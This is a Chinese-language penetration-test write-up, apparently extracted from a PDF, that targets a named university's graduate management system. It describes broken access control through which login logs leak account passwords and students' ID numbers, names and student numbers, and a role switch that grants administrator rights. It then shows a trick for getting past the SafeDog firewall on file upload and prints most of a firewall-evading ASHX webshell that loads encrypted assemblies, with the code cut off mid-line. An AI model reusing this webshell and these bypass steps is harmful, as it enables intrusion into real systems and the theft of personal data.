信息安全系列南开大学某系统的渗透测试.pdfVIP

月球出事，知识星球以后由我更新没收一分钱勿喷只是他出事的时候给我交

代让我帮忙更新点，有些是库存历史洞了

漏洞点1：越权

url:

某开大学证书站(同系统不同站思路一样)

通过superadmin账号登录获取日志接口信息

password替换成

ecfe6335568d9aa8fxxxxxxxd92bca

日志接口获取所有登录过的账号和密码

post/sys/log/loadLogLoginAndOutList

rows=10page=2order=ascremote_ip=username=startTime=endTi

me=

拿获取的学生账号登录

15xxxxxx

3a453xxxxxxxxxxxx1eef6d9

接口获取学生个人信息，身份证+姓名+学号

/gradms/base/infoStutrainInfo/loadInfoStutrainInfoList?state=1

GET改为POST传输

rows=10page=1order=ascorgCode=majorUniqueId=grade=perNu

m=perName=

page是页数

POST/auth/switchPosition

positionId=1

直接成为管理员

漏洞点2：文件上传GetShell

漏洞点1：

网站存在一处上传

WAF是安全狗的头像处

先上传一个11.jpg的文件，然后抓包的时候改成11.html.ashx

然后记住104DCCCA002D5F067BFD970D2CF37410这样就绕过检测

直接上传11.ashx会waf拦截

然后继续吧得到的Ticket替换之前成11.html.ashx的

然后插入免杀一句话，11.jpg改成11.html.ashx并且替换ticket改成

104DCCCA002D5F067BFD970D2CF37410

WAF检测文件名和内容

这里用到两个脚本一个是ashx免杀马

一个是生成文件的马，都能绕过安全狗检测

ashx马：

%@Language=C#Class=Handler1%

publicclassHandler1:

System.Web.IHttpHandler,System.Web.SessionState.IRequiresSessionState

{

publicvoidProcessRequest(System.Web.HttpContextContext){try{string

key=202cb962ac59075b;stringpass=123;stringmd5=

System.BitConverter.ToString(new

System.Security.Cryptography.MD5CryptoServiceProvider().ComputeHash(Syst

em.Text.Encoding.Default.GetBytes(pass+key))).Replace(-,);byte[]

data=System.Convert.FromBase64String(Context.Request[pass]);data=new

System.Security.Cryptography.RijndaelManaged().CreateDecryptor(System.Te

xt.Encoding.Default.GetBytes(key),

System.Text.Encoding.Default.GetBytes(key)).TransformFinalBlock(data,0,

data.Length);if(Context.Session[payload]==null){

Context.Session[payload]=

(System.Reflection.Assembly)typeof(System.Reflection.Assembly).GetMethod

(Load,newSystem.Type[]{typeof(byte[])}).Invoke(null,newobject[]

{data});;}else{objecto=

((System.Reflection.Assembly)Context.Session[payload]).CreateInstance(

LY);o.Equals(Context);o.Equals(data);byte[]